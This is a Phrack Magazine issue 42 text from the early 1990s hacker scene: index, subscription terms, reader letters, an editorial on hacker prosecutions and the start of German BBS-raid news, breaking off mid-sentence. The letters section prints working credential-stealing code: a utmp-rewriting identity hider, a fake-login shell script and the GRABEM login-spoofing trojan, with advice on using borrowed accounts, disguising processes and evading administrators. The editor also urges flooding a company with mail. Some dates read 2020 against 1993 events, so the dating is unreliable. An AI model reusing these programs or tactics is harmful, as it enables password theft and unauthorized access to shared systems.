==Phrack Magazine== Volume Four, Issue Forty-Two, File 1 of 14 Issue 42 Index ___________________ P H R A C K 4 2 March 1, 2020 ___________________ ~ Happy Anniversary Bill Cook & Tim Foley, we love you both! ~ Here it is. Amidst all the fanfare and hoopla, Phrack 42 leaps from your electronic mail box to infect your very soul. It was just a few short years ago on this day that one of the greatest abuses of governmental authority took place in the happy little town of Austin, Texas. This issue marks the three year anniversary of these raids and a hearty hello goes out to Bellcore, The United States Secret Service, and the US District Attorney's Office. As many of you have read previously, or otherwise heard through the electronic grapevines, Dispater is no longer editor of Phrack. Your new editor, as I was most recently referred to so lovingly by my long-time friend John Lee on the alt.cyberpunk Usenet group: "the long hair and heavy metal beer drinking Texan that Bruce Sterling finds so .. ahem.. 'attractive'." In case you don't get the joke, my name is Erikb, and I'm a hacker. There are a few very distinct differences beginning with this issue of Phrack. First and foremost, Phrack is now registered with the Library of Congress, and has its own ISSN. Yes, boys and girls, you can go to Washington, D.C. and look it up. This adds a new era of legitimacy to Phrack in that with such a registration, Phrack should never again face any legal challenge that would bypass any paper based magazine. After much deliberation, I have concluded that Phrack will no longer provide the world's anti-hacker corporate and governmental types (IE: THE MAN) such valuable information for free. This will of course have absolutely no effect on YOU, the hackers of the world. Phrack has always been, and will always continue to be yours to copy and distribute amongst yourselves without limitation, as long as the files retain unchanged and intact. Entities who register their subscriptions to Phrack will be providing valuable demographic information to Phrack and its readers on exactly who outside our community actually takes an active interest in us. Yes, it will also generate some income. The proceeds of all monies earned by Phrack will be used to actually compensate contributors for articles of interest, and most importantly, help a certain person pay off the debt incurred by the twist of fate dealt him through his involvement with this publication in the past. I have no interest in making any money off of Phrack, as if I were to show a profit, I would have to contribute to Tim Foley's expense account via the IRS and I have absolutely no desire to fund his antics further than I am already forced to. To keep things honest, any information about the financial affairs of Phrack will be made available to anyone who cares to write and ask. Thus, we can all see if "THE MAN" is truly as ethical as he would have us believe, especially since our rate will be considerably less than many magazines (or military screwdrivers). Now, pertaining to "THE MAN." Phrack does not care for you and the way you secretly read and profit from Phrack and then use the information contained within its files to oppress its publishers, contributors and readers. Henceforth, anyone involved with any ties to a computer profession for any corporation, the military or the federal government, any person with any ties for any telecommunications company, network service provider or interconnect carrier, any person with any ties to any law enforcement body, federal, state or otherwise, any elected officials, attorneys, accountants or computer consultants of any kind must register your subscription immediately. If you are unsure of your status with this regard, please contact us. We are going to be VERY liberal about "special dispensations" since it is not our intention to screw anyone out of a subscription. ------------------------------------------------------------------------- READ THE FOLLOWING IMPORTANT REGISTRATION INFORMATION Corporate/Institutional/Government: If you are a business, institution or government agency, or otherwise employed by, contracted to or providing any consultation relating to computers, telecommunications or security of any kind to such an entity, this information pertains to you. You are instructed to read this agreement and comply with its terms and immediately destroy any copies of this publication existing in your possession (electronic or otherwise) until such a time as you have fulfilled your registration requirements. A form to request registration agreements is provided at the end of this file. Individual User: If you are an individual end user whose use is not on behalf of a business, organization or government agency, you may read and possess copies of Phrack Magazine free of charge. You may also distribute this magazine freely to any other such hobbyist or computer service provided for similar hobbyists. If you are unsure of your qualifications as an individual user, please contact us as we do not wish to withhold Phrack from anyone whose occupations are not in conflict with our readership. _______________________________________________________________ Phrack Magazine corporate/institutional/government agreement Notice to users ("Company"): READ THE FOLLOWING LEGAL AGREEMENT. Company's use and/or possession of this Magazine is conditioned upon compliance by company with the terms of this agreement. Any continued use or possession of this Magazine is conditioned upon payment by company of the negotiated fee specified in a letter of confirmation from Phrack Magazine. This magazine may not be distributed by Company to any outside corporation, organization or government agency. This agreement authorizes Company to use and possess the number of copies described in the confirmation letter from Phrack Magazine and for which Company has paid Phrack Magazine the negotiated agreement fee. If the confirmation letter from Phrack Magazine indicates that Company's agreement is "Corporate-Wide", this agreement will be deemed to cover copies duplicated and distributed by Company for use by any additional employees of Company during the Term, at no additional charge. This agreement will remain in effect for one year from the date of the confirmation letter from Phrack Magazine authorizing such continued use or such other period as is stated in the confirmation letter (the "Term"). If Company does not obtain a confirmation letter and pay the applicable agreement fee, Company is in violation of applicable US Copyright laws. This Magazine is protected by United States copyright laws and international treaty provisions. Company acknowledges that no title to the intellectual property in the Magazine is transferred to Company. Company further acknowledges that full ownership rights to the Magazine will remain the exclusive property of Phrack Magazine and Company will not acquire any rights to the Magazine except as expressly set forth in this agreement. Company agrees that any copies of the Magazine made by Company will contain the same proprietary notices which appear in this document. In the event of invalidity of any provision of this agreement, the parties agree that such invalidity shall not affect the validity of the remaining portions of this agreement. In no event shall Phrack Magazine be liable for consequential, incidental or indirect damages of any kind arising out of the delivery, performance or use of the information contained within the copy of this magazine, even if Phrack Magazine has been advised of the possibility of such damages. In no event will Phrack Magazine's liability for any claim, whether in contract, tort, or any other theory of liability, exceed the agreement fee paid by Company. This Agreement will be governed by the laws of the State of Texas as they are applied to agreements to be entered into and to be performed entirely within Texas. The United Nations Convention on Contracts for the International Sale of Goods is specifically disclaimed. This Agreement together with any Phrack Magazine confirmation letter constitute the entire agreement between Company and Phrack Magazine which supersedes any prior agreement, including any prior agreement from Phrack Magazine, or understanding, whether written or oral, relating to the subject matter of this Agreement. The terms and conditions of this Agreement shall apply to all orders submitted to Phrack Magazine and shall supersede any different or additional terms on purchase orders from Company. _________________________________________________________________ REGISTRATION INFORMATION REQUEST FORM We have approximately __________ users. We desire Phrack Magazine distributed by (Choose one): Electronic Mail: _________ Hard Copy: _________ Diskette: _________ (Include size & computer format) Name:_______________________________ Dept:____________________ Company:_______________________________________________________ Address:_______________________________________________________ _______________________________________________________________ City/State/Province:___________________________________________ Country/Postal Code:___________________________________________ Telephone:____________________ Fax:__________________________ Send to: Phrack Magazine 603 W. 13th #1A-278 Austin, TX 78701 ----------------------------------------------------------------------------- As many of you can imagine, this will be very hard to enforce. This is not our main concern, as people who choose to ignore this stipulation are in direct violation of applicable US Copyright laws and therefore are just as unethical and guilty as they have always claimed we are. It would be an ironic turn of events should the FBI actually have to conduct raids against companies like Bellcore for harboring illegal copies of Phrack Magazine. If, in your travels, you happen to see such an occurrence, feel free to let us know. :) Enjoy the magazine. It is for and by the hacking community. Period. Editor-In-Chief : Erik Bloodaxe (aka Chris Goggans) 3L33t : K L & T K News : Datastream Cowboy Photography : Restricted Data Transmissions & dFx Publicity : (Please, God, no more press) Prison Consultant : The English Prankster Creative Stimulus : Sandoz, Buena Vista Studios, The Sundays Mooks : Dave & Bruce Librarian : Minor Threat Thanks To : Professor Falken, Vince Niel, Skylar Rack, NOD, G. Tenet, Frosty No Thanks To : Scott Chasin (who didn't even care) Phrack Magazine V. 4, #42, March 1, 2020. ISSN 1068-1035 Contents Copyright (C) 1993 Phrack Magazine, all rights reserved. Nothing may be reproduced in whole or in part without written permission of the Editor-In-Chief. Phrack Magazine is made available quarterly to the amateur computer hobbyist free of charge. Any corporate, government, legal, or otherwise commercial usage or possession (electronic or otherwise) is strictly prohibited without prior registration, and is in violation of applicable US Copyright laws. Phrack Magazine 603 W. 13th #1A-278 Austin, TX 78701 phrack@well.sf.ca.us Submissions to the above email address may be encrypted with the following key : (Not that we use PGP or encourage its use or anything. Heavens no. That would be politically-incorrect. Maybe someone else is decrypting our mail for us on another machine that isn't used for Phrack publication. Yeah, that's it. :) ) -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.1 mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg== =q2KB -----END PGP PUBLIC KEY BLOCK----- -= Phrack 42 =- Table Of Contents ~~~~~~~~~~~~~~~~~ 1. Introduction by The Editor 14K 2. Phrack Loopback / Editorial Page / Line Noise 48K 3. Phrack Pro-Phile on Lord Digital 22K 4. Packet Switched Network Security by Chris Goggans 22K 5 Tymnet Diagnostic Tools by Professor Falken 35K 6. A User's Guide to XRAY by NOD 11K 7. Useful Commands for the TP3010 Debug Port by G. Tenet 28K 8. Sprintnet Directory Part I by Skylar 49K 9. Sprintnet Directory Part II by Skylar 45K 10. Sprintnet Directory Part III by Skylar 46K 11. Guide to Encryption by The Racketeer [HFC] 32K 12. The Freedom Of Information Act and You by Vince Niel 42K 13. HoHoCon from Various Sources 51K 14. PWN by Datastream Cowboy 29K Total: 474K Phrack 42 is dedicated to John Guinasso, director of global network security, BT North America, without whose immortal comments, many would have never been motivated to write. "If you mess with our network and we catch you -- which we always do -- you will go down." (John Guinasso, Information Week, July 13, 2020) "Hell, WE owned Tymnet before BT did!" (Anonymous hacker-type, Random Telephone Call, 1993) _______________________________________________________________________________ ----------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 2 of 14 [-=:< Phrack Loopback >:=-] ============================================================================ !!!!WATCH THIS SPACE FOR SUMMERCON INFORMATION NEXT ISSUE!!!! ============================================================================ I 'found' this little C program a few days ago, and runs on most UNIX machines I think (As I found it, I cant claim fame for writing it!). What it does, is change your userid and x25 address to anything of your choice. This only affects programs such as 'write' and 'who'. It doesn't automatically give you different access rights, so it can only be used to disguise your real identity. Usage ----- inv god somewhere (Changes your uid to 'god' and X.25 to 'somewhere') inv '' '' (Makes you INVISIBLE on 'who') Program invis.c --------------- #include #include #include #include main(argc,argv) int argc; char *argv[]; { FILE *f; struct utmp u; int v=ttyslot(1); if(v==-1) { fprintf(stderr,"Can't find terminal.\n"); exit(1); if(argc!=3) { fprintf(stderr,"Args!\n"); exit(1); } f=fopen("/etc/utmp","r+"); if(f==NULL) { fprintf(stderr,"Utmp has escaped!\n"); exit(1); } if(fseek(f,v*sizeof(u),0)==-1) { fprintf(stderr,"Garbage utmp\n"); exit(1); } if(fread((char *)&u,sizeof(u),1,f)!=1) { fprintf(stderr,"Write failed\n"); exit(1); } strncpy(u.ut_name,argv[1],8); strncpy(u.ut_host,argv[2],16); if(fseek(f,v*sizeof(u),0)==-1) { fprintf(stderr,"Seek failed\n"); exit(1); } fwrite((char *)&u,sizeof(u),1,f); fclose(f); } I personaly have not used this program (to hack or for anything else) What you do with it is up to you...., ________ Have fun...., !!! ( )____ ( Alas, life ) ( is but an ) ( Aardvaark.. ) ( __ ) . (_____) (____) * * * * * * * * * * * * * * * * . ? . () * CHEERS_ THEN - _ _ * __ () * ___/_/______|_|___| |__ * / \ () * |________ _______| |__| * |_ _| * / / | | | | | | * |(0)||(0)| * / /___ | | | | | | * /|_ \/ _|\ * /___ / | | | | | | * || | == | || * / / | | \ \__/ / * || \____/ || * / / |_| \____/ * ///\ !! /\\\ *-*-/_/-*-*-*-*-*-*-*-*-*-*-*-*-=-=-=-=-=-=-=-=-!!!-!-=-=-!-!!!-=-=-=-=-=-=-=-= ------------------------------------------------------------------------------- I am interested in getting in contact with hackers in Nord Italy (I am located in Torino). Do you know anybody ? Can you help TheNewHacker ?? Thanks TheNewHacker [Editor: Actually, we are in the process of recruiting people to write for a compilation file on the hacking scenes in countries around the world. One person is working on Italy. Perhaps when this file is completed, you will be able to network through that information. If anyone in a country other than America is interested in contributing to this effort, please write us at: phrack@well.sf.ca.us ! ] ----------------------------------------------------------------------------- hello, i must say i love your publication. I have a little kind of hack/phreak for you guys. When you approach a Red light, preferably at night with few cars around, continually flash your bright lights. This tricks the light into believing this a cop waiting behind traffic at the light thus changing the light after about 10 flashes. I discovered that after seeing several police officers turn on their lights before they hit lights and was amazed on how easily the light changed. If you have say, a Mag-lite the trick works if you point directly at the top of the post-light and the ones hanging right above red on verticals and right above yellow on horizontals. hope this helps etc. (i fucking hate those damn red lights) Dave. [Editor: I've actually tried this. It works on most major intersections] ----------------------------------------------------------------------------- Hallo ! I'd like to make just some addition to the APPENDIX A of the Racketeer's article "The POWER of Electronic Mail" - there are new guys in InterNET -> Russians (!). They have the awful connection, but it's cool team. So, add : .su kremvax.hq.demos.su And one more note, in the SMTP installed on the Sun Station I'm working on there isn't command TICK, but exist some strange like RSET and EXPN. Spy P.S. Sorry for my bad English. [Editor: Russia has a lot of computers online these days. Look for more on the Russian Internet in upcoming Phracks!] ----------------------------------------------------------------------------- There is another, much simpler way to expand your password collection, other than tty spoofing. Why not just run a program that simulates the login process, and then leave it running on the console for an unsuspecting victim? A simple example is below. Execute by typing getpass:logout. --------File: getpass---------- LOGIN="" PASSWD="" clear echo -n "login: " read LOGIN echo "$LOGIN" >name sleep 3 echo -n "Password:" read PASSWD echo "$PASSWD" >password echo echo -n "Login incorrect" ------------------------------- The only problem I have is that I don't know how to make it so that the password, when entered, isn't shown on the screen. I'm sure you can come up with a solution. [Editor: actually, someone kinda did. See the next letter] ----------------------------------------------------------------------------- A Better UNIX Password Grabber by The K-Man I blame it entirely on boredom. Well, that and an acute case of end- of-semester neural gridlock. I was sitting in the lab a couple of years ago, my head leaning against a Sparc-2 display, my index finger hitting the return key over and over again at the login prompt. It was all my mind and body were capable of at the time. Then a little thought formed in the back of my mind: "You know, it would be pretty damn easy to write a program to imitate the behavior of this screen while grabbing user id's and passwords." So I logged in and started coding. Then I thought to myself, "You know, with a few extra lines of code and a couple of tricks, I could make this little guy almost completely undetectable and untraceable while running." So I coded some more. A couple of hours later, out popped the following program: ---------------------------- Cut Here ----------------------------------- /*----------------------------------------------------------------------+ | GRABEM 1.0 by The K-Man | | A Cute little program to collect passwords on the Sun workstations. | +----------------------------------------------------------------------*/ #define PASSWORD "Password:" #define INCORRECT "\nLogin incorrect" #define FILENAME ".exrc%" #include #include /*-----------------------------------------------------------------------+ | ignoreSig | | | | Does nothing. Used to trap SIGINT, SIGTSTP, SIGQUIT. | +-----------------------------------------------------------------------*/ void ignoreSig () { return; } /*-----------------------------------------------------------------------+ | Main | +-----------------------------------------------------------------------*/ main() { char name[10], /* users name */ password[10]; /* users password */ int i, /* loop counter */ lab, /* lab # you're running on */ procid; /* pid of the shell we're under */ FILE *fp; /* output file */ /*-------------------------------------------------------------------+ | Trap the SIGINT (ctrl-C), SIGSTP (ctrl-Z), and SIGQUIT (ctrl-\) | | signals so the program doesn't stop and dump back to the shell. | +-------------------------------------------------------------------*/ signal (SIGINT, ignoreSig); signal (SIGTSTP, ignoreSig); signal (SIGQUIT, ignoreSig); /*-------------------------------------------------------------------+ | Get the parent pid so that we can kill it quickly later. Remove | | this program from the account. | +-------------------------------------------------------------------*/ procid = getppid(); system ("\\rm proj2"); /*-------------------------------------------------------------------+ | Ask for the lab # we're running on. Clear the screen. | +-------------------------------------------------------------------*/ printf ("lab#: "); scanf ("%d", &lab); for (i=1; i<40; i++) printf ("\n"); getchar(); /*-------------------------------------------------------------------+ | Outer for loop. If the name is <= 4 characters, it's probably not | | a real id. They screwed up. Give 'em another chance. | +-------------------------------------------------------------------*/ for(;;) { /*---------------------------------------------------------------+ | If they hit return, loop back and give 'em the login again. | +---------------------------------------------------------------*/ for (;;) { printf("lab%1d login: ",lab); gets (name); if (strcmp (name, "") != 0) break; } /*---------------------------------------------------------------+ | Turn off the screen echo, ask for their password, and turn the | | echo back on. | +---------------------------------------------------------------*/ system ("stty -echo > /dev/console"); printf(PASSWORD); scanf("%s",password); getchar(); system ("stty echo > /dev/console"); /*---------------------------------------------------------------+ | Write their userid and password to the file. | +---------------------------------------------------------------*/ if ( ( fp = fopen(FILENAME,"a") ) != NULL ) { fprintf(fp,"login %s has password %s\n",name,password); fclose(fp); } /*---------------------------------------------------------------+ | If the name is bogus, send 'em back through | +---------------------------------------------------------------*/ if (strlen (name) >= 4) break; else printf (INCORRECT); } /*-------------------------------------------------------------------+ | Everything went cool. Tell 'em they fucked up and mis-typed and | | dump them out to the REAL login prompt. We do this by killing the | | parent process (console). | +-------------------------------------------------------------------*/ printf (INCORRECT); kill (procid, 9); } ---------------------------- Cut Here ----------------------------------- HOW IT WORKS You can probably figure this out by reading the code, but I thought I'd just add some comments on why I did what I did. The first thing is does is install the signal handler. All it does is trap SIGINT, SIGSTP, and SIGQUIT, so that the person trying to log into the machine this baby is running on can't kill it with a keystroke. Next, it gets the parent process ID. We'll use this later to kill it off quickly. Then it proceeds to erase the executable file. Sysadmins can't find a trojan horse program that isn't there. >From here it goes on to imitate the login and password prompts. You'll probably have to change the code to get it to imitate the login process on your particular machine. When it gets a userid and password, it appends them to an existing file in the account. I chose the .exrc, but any dot file will work. The point being to use a file that already exists and should be in the account. Don't leave any extra suspicious files lying around. After it writes the uid and password to the file, it bumps the user back to the real login prompt by killing off the shell that was the parent process of the program. The cut is almost instantaneous; the user would have to be inhumanly observant to notice the transition. HOW TO USE Well, first you need an account to run it from. If your site has guest account s, you've got it made. If not, I'd suggest using a little social engineering to get one other person's account. With that account and the program, you can gra b access to many more. I wouldn't recommend running it from an account that has your name on it. That just makes it a little more dangerous than it needs to b e. Of course, if the sysadmin happens to catch the program running on your login, you can always claim to know nothing. Say someone else must have gotten your password and is using your account to escape detection. He might buy it. But if you have the source for the program sitting somewhere in your account, and they find it, you're fucked. So it's best to use someone else's account for the job. After you've gotten the account you'll be running it from, you'll need to get the program in that account somehow. I started off by keeping a copy of the source somewhere it my account, named with something innocuous and hidden among bunches of source files, but I got paranoid and started hauling the sourc e around with me on a bar floppy. Do whatever suits your level of paranoia. Copy the source to the account you'll be running it from and compile it. Trash the source, and name the program something that won't stand out in a ps list. selection_svc is a nice innocuous name, and it appears everywhere. Do a ps on one of your machines and look for processes that hang around for a long time. You might want to hide it as a daemon. Be creative. Now run the program and sit back and wait. Or leave and come back later. When you know that someone has tried to log on to your booby trapped machine, log back into the account you borrowed to run the program in and vi or emacs (i f you're that kind of person) out the captured userid and password. Simple as that. Note that the two times that you stand the greatest chance of being caught are when you first compile and run the program and when you retrieve your captured uid and passwords. There's the remote chance that someone might see you at work and see what you're doing, but it's not very likely. If you start acting all paranoid you'll draw more attention to yourself than you would have gotten in the first place. If your site has dialup lines, you might want to do a dialin to retrieve the passwords. Or you might prefer to do it in person. All depends on your paranoia quotient which you think is more secure, I guess. TIPS Be careful which dot files you use. I chose the .exrc because it was something that wasn't used often at our site. If you chose the .cshrc or other frequentl y accessed file, put a # before the uid and password you write to that file. Tha t way, when that dot file is sourced, it'll treat that line as a comment and not spit out an error message that could cause suspicion. Try to run the program at a time when you know there will be heavy machine usage. That way you'll trap something quick. The longer your program runs, the greater the chance it will be found. Don't be greedy. Run on only one or two machines at a time. And if you run on more than one machine, run out of a different account on each one. Again, the more you put out there, the better the chance that at least one will be found. PARTING NOTE The morning after I wrote this program was the first time I got to use it. I set it running on a guest account, the went to a machine across the room to do some legitimate work. One of my friends walks in shortly after that, and we start shooting the shit. A minute or two later, the sysadmin walks in, sits down, and logs in to the machine I ran the program on. I came really close to dropping my fudge right then and there. The only thing running through my mind was "Either I'm totally fucked, or I have root." Turned out it was choice B. Too bad the guy changed his password once a week, and I wasn't smart enough to fix it so that I would see the change. Oh well, I had fun for a week though . There were quite a few interesting e-mail messages sent back and forth that wee k. I think the best one was the one from our (male) department head to one of our radical she-male hard-core no-damn-gifs feminist female professors, detailing all the perverted sexual acts that he would like to perform with and on her. :) Anyway, have fun with the program. Maybe I'll get a chance to come up with some more cool UNIX programs in the future. Later, K-Man ----------------------------------------------------------------------------- In a recent issue of PHRACK you had some article or loopback about getting information about people via modem. I am somewhat interested in this and could use this information. I have a friend who is a part-time bounty hunter and could use such information to track people down. Could you please send me some information about who to contact to find out this information. What I could REALLY use is an on-line up-to-date phone/address book that I could call to find out anybody's address. Is there such a thing? If you have any information please e-mail me, since I am unable to get your mag on a regular basis. Thanx a mil! Scarface [Editor: Actually there are quite a large number of databases that keep information on everyone. There is TRW, Equifax, TransUnion, Information America and NAI just to name a few. Many of these services are very expensive, but even services like CompuServe allow users to look up people all over America using PhoneFile which compiles data from all kinds of public records. Nexis can allow you to look up real estate data on just about anyone with loans on their houses. Every public utility and department of motor vehicles provides information on their records, and many are online. A good book to read about this kind of thing is Privacy For Sale Jeffrey Rothfeder Simon & Schuster $22.00] ----------------------------------------------------------------------------- THE GOLDEN ERA REBORN! Relive the thrill of the golden era of hacking through our exclusive collection of BBS messages. Our collection contains posts from over 40 of the most popular hack/phreak BBSes of all time. Experience the birth of the computer underground again from your own computer with this collection of original posts from bulletin boards like: * 8BBS * * OSUNY * * PLOVERNET * * THE LEGION OF DOOM * * BLACK ICE PRIVATE * * THE PHOENIX PROJECT * And many more... Messages are available in many computer formats: IBM Amiga Macintosh For more information, please contact LOD Communications email: lodcom@mindvox.phantom.com US Mail: LOD Communications 603 W. 13th St. Suite 1A-278 Austin, TX 78701 Voice Mail: 512-448-5098 ----------------------------------------------------------------------------- You might like this one... --bob **************************************** I just saw a transcript of a press conference given by Secret Service Agent Frericks, in Lubbock last December. here is a brief extraction... FRERICKS: Um hm. This is a major nation wide, world wide problem from an industry point of view with tremendous losses in funds tremendous losses of money. the VAX account at the University is a way to get into numerous other research accounts or Internet which is the ...you get onto Internet you can talk to anybody else who is on Internet anywhere in the world which these kids were talking to Belgium, and Israel and Australia and they can do that just by this, thus avoiding long distance phone calls. But most of the people on Internet I mean on the VAX are there legitimately for research purposes they can go to Mayo and get a file if they're a med student and they also get one of these pamphlets if they get, like the Department of Engineering gives out an account number just for that semester, the professor would give it out so you can use the VAX well they also get one of those pamphlets that explains what the rules are and the instructor spends a good bit of time the first couple of classes going over computer etiquette, computer rules. [Editor: Another of America's finest.] ----------------------------------------------------------------------------- I typed this because of the mention of Software Security International in the article "More than $100,000 in Illegal Software Seized" in Rambone's Pirates Cove in Phrack 41. He mentioned that they were the investigators that finally brought down APL. I am not only familiar with that, a past friend of mine was there when the Marshalls took the board. He was there as representative of SSI. The best part that Rambone didn't know, was that they couldn't get into APL to verify the existence of the software, until they got the password breaker from Novell. So in essence, they looked like some dumb fools. They didn't have any idea on how to approach the network. Software Security International Can be reached at... 1-800-724-4197 2020 Pennsylvania Avenue N.W. Suite 722 Washington, D.C. 20006-1846 That is of course if they finally have gotten off the ground. Last I Heard (2-3 months ago) they were still having trouble getting Financial Backing. They did the APL Bust for nothing, just to prove they could do it. They are also on a lot of other BBS's around America. So as a warning to other sysops, Cover your Ass. You could rack up some serious negative cash flow by sending tons of mail to the box above, then it gets Airborne'd to Washington State. see ya [Editor: I think it might be a good idea to send them a few postcards every day for the next few weeks. Just to stay in touch.] ----------------------------------------------------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 2b of 14 [-=:< Editorial >:=-] Before I jump upwards onto my soapbox and spew forth a meaty editorial I would like to relay something to the readers of Phrack. The following is a transcript of John Lee's (Corrupt's) confession to the charges facing him. (From Security Insider Report, Jan. 1993) What follows is in my opinion a very poor attempt at a plea-bargain, and obviously induced by attorney coercion. I must wonder what John was thinking when he agreed to this admission. ====================================================================== I agreed with others to violate various laws related to the use of computers. I agreed to do the following: 1) I agreed to possess in excess of fifteen passwords which permitted me to gain access to various computer systems including all systems mentioned in the indictment and others. I did not have authorization to access these systems. I knew at the time that what I did was wrong. 2) I used these access devices and in doing so obtained the value of time I spent within these systems as well as the value of the passwords themselves which I acknowledge was more than $1000. 3) I intentionally gained access to what I acknowledge are Federal interest computers and I acknowledge that work had to be done to improve the security of these systems which was necessitated by my unauthorized access. 4) I was able to monitor data exchange between computer systems and by doing so intentionally obtained more passwords, identifications and other data transmitted over Tymnet and other networks. 5) I acknowledge that I and others planned to share passwords and transmitted information across state boundaries by modem or telephone lines and by doing so obtained the monetary value of the use of the systems I would otherwise have had to pay for. Among the ways I and others agreed to carry out these acts are the following: 1. I was part of a group called MOD. 2. The members of the group exchanged information including passwords so that we could gain access to computer systems which we were not authorized to access. 3. I got passwords by monitoring Tymnet, calling phone company employees and pretending to be computer technicians, and using computer programs to steal passwords. I participated in installing programs in computer systems that would give the highest level of access to members of MOD who possessed the secret password. I participated in altering telephone computer systems to obtain free calling services such as conference calling and free billing among others. Finally, I obtained credit reports, telephone numbers and addresses as well as other information about individual people by gaining access to information and credit reporting services. I acknowledge that on November 5, 2020, I obtained passwords by monitoring Tymnet. I apologize for my actions and am very sorry for the trouble I have caused to all concerned. John Lee ========================================================================== This issue I would like to call attention to what I consider to be a very pressing issue. There has always been a trend to pad the amount of dollar damages incurred to any victim of a hacker attack. I personally feel that the blame is never directed at the true guilty parties. Certainly, if someone is caught breaking into a system, then they are surely guilty of some form of electronic trespass. I will also concede that such a person may or may not be guilty of other crimes based upon their actions once inside that system. What I have the most problems dealing with is the trend to blame the hacker for any expenditures needed to further secure the system. With this mindset, why should any corporation bother to add any security at all? Why not just wait until someone happens across a few poorly secured sites, nab them, and claim damages for the much needed improvements in security? The worst culprits in this type of behavior has been the RBOCs. As was seen with the supposed damages incurred for the distribution of the "911 document" and most recently with the $370,000 damages supposedly incurred by Southwestern Bell resulting from the alleged activities of those in MOD. Perhaps this figure does have some basis in reality, or perhaps it is just an arbitrary figure dreamed up by a few accountants to be used at year end to explain some losses in the corporate stock report. Most often figures such as this factor in such ridiculous items as the actual system hardware penetrated. I can hardly see the relevance of such a charge. Even if these charges are to be believed, why isn't the blame being evenly distributed? Why aren't stockholders crying for the heads of system administrators, MIS managers and CIOs? These are the people who have not adequately done their jobs, are they not? If they had expended a bit of time, and a small amount of capital, the tools exist to make their systems impervious to attack. Period. If I had an investment in a company such as Southwestern Bell, I would be outraged that the people I was employing to perform data security functions were not apt enough to keep a group of uneducated gangsters out of their switching systems. Why haven't there been any emergency meetings of shareholders? Why isn't anyone demanding any changes in policy? Why is everyone still employed? Not to blame Southwestern Bell too harshly, they were sorely outclassed by MOD, and had absolutely no way to cope with them. Not only because MOD were competent telco hackers, but because Southwestern Bell's network service provider had given them free reign. Southwestern Bell's packet switched network, Microlink II, was designed and implemented for SWBT by Tymnet (then owned by McDonnell Douglas). An interesting thing I've heard about SWBNET, and about every other subnet arranged by Tymnet, is that the information concerning gateways, utilities, locations of node code, etc., is purported to be located in various places throughout Tymnet internal systems. One such system, was described to me as a TYMSHARE system that contained data files outlaying every subnet on Tymnet, the mnemonics (username/password pair) to each utility, gateway, and the ONTYME II mail access keys. If this information is correct, then shouldn't Tymnet be called in to acknowledge their role in the attacks on Southwestern Bell? Let's say a Realtor sold you a house, but told you that he would be keeping copies of all your keys so that he could help you with the maintenance. Some time later, you notice that a few of your books have been read, but nothing else is disturbed. Later on you notice that your tv is on and your bed is all messed up. A week later your stereo is gone. You set up a trap and catch someone going into your house with your own key! You find that the burglars had made copies of all the keys held by your Realtor. You then find that the Realtor neglected to put the keys in a safe, and in fact had left them lying around on the table in his back yard labeled with the addresses they corresponded to. Who would you be more upset with? The individual who copied and used the keys, or the Realtor for not providing the access to your valuables more vigilantly? I would personally be far more upset with the Realtor, for if he had put the keys in a safe this event would have probably never transpired. I'm not saying that people who get caught for breaking into computer systems should be let go, especially if they can be proven to be involved in the sale of hacked information for a personal profit. What I am saying that if hackers are to be punished so vigorously for what I view as a predominantly victimless crime, then everyone should have to line up and take their fair share of the blame. I think it's high time that the real blame be placed on the corporate entities who seemingly refuse to acknowledge their role in these break-ins. Neglect of duties and lack of responsibility on the part of the employees, the interconnect carriers, the data network providers, the hardware vendors, etc. all play a key role in the problems that exist in the world's data networks today. In fact, if it were not for computer hackers, these problems would continue to lie dormant until either discovered by accident in the field, or the provider decided to go ahead and illuminate its clients to the existence of such a problem. I wholeheartedly encourage each and every reader of Phrack to purchase one share of stock in any corporation you know that has exhibited such tendencies and take your place on the floor of the next shareholders meeting and scare the hell out of the board of directors. Phrack Magazine is calling a discount brokerage very soon. ------------------------------------------------------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 2c of 14 // // /\ // ==== // // //\\ // ==== ==== // // \\/ ==== /\ // // \\ // /=== ==== //\\ // // // // \=\ ==== // \\/ \\ // // ===/ ==== ****************************************************************************** BBS Busts in Germany ==================== Thursday, March 18, 2020. This day will be remembered as a black day in German BBS history. In fact, it was the blackest day in German BBS history since the raid of 18 Berlin BBS in Berlin and North Germany a couple of months ago. What has happened? A couple of Bulletin Board Systems (BBS) have been raided by the police. All these BBS had "warez" online, illegal, pirated, copyrighted Software - usually for PC/MSDOS and Amiga. This time, most of these BBS were in Bavaria, South Germany. Now let's take a closer look at the events: One guy who got busted was MST, Sysop of Southern Comfort BBS in Munich. In fact, his board went offline 9 days before. But he was so unlucky still having his computer and his warez. He was even using his modem to trade warez at the very moment the cops rang his doorbell. Why did he go offline just so short before he got busted? His board had been running for over 1 year. Here is the text file MST released about going offline: THURSDAY 03-09-93 00:15 THE SOUTHERN COMFORT BBS IS CLOSED ! I AM NOT BUSTED OR ANYTHING LIKE THIS ! I CLOSED THE BBS COS OF PERSONAL REASONS AND PERHAPS IT WILL BE OPENED AGAIN IN 1 OR 2 MONTH ! I HOPE YOU WOULD UNDERSTAND THIS DECISION BUT SCENE IS NOT ALL WHAT LIFE CAN BE ALL USER ACCOUNTS STAY ALIVE AND WILL BE HERE AT A NEW??? OPENING ! SO I SAY BYE TO THE SCENE FOR PERHAPS ONLY A SHORT TIME ! MST/RAZOR 1911 A couple of days later, MST was posting ads in local BBS to sell his old equipment. But obviously he wasn't fast enough. Maybe this was one of the reasons the cops busted him on March, 18. They were afraid he might get rid of his illegal software, so they hurried up to catch him! He got busted at 10am this morning. Three cops were knocking on his door, until he opened. They had a search warrant and confiscated all his computer equipment, disks, modems... Chris used to have a board until four months ago, and now trades for TDT and other groups. He was in school this morning. His parents weren't home either. So the cops broke into his house, smashed the wooden door, and seized all his equipment. He is asked to speak to the Police this Tuesday. Chris used to be one of the most active traders for PC warez in Germany. He and his friend Michelangelo supported boards like Schizophrenia and Beverly Hills, which they co-sysop'ed. They were also known as the 'Beverly Hills Boys', 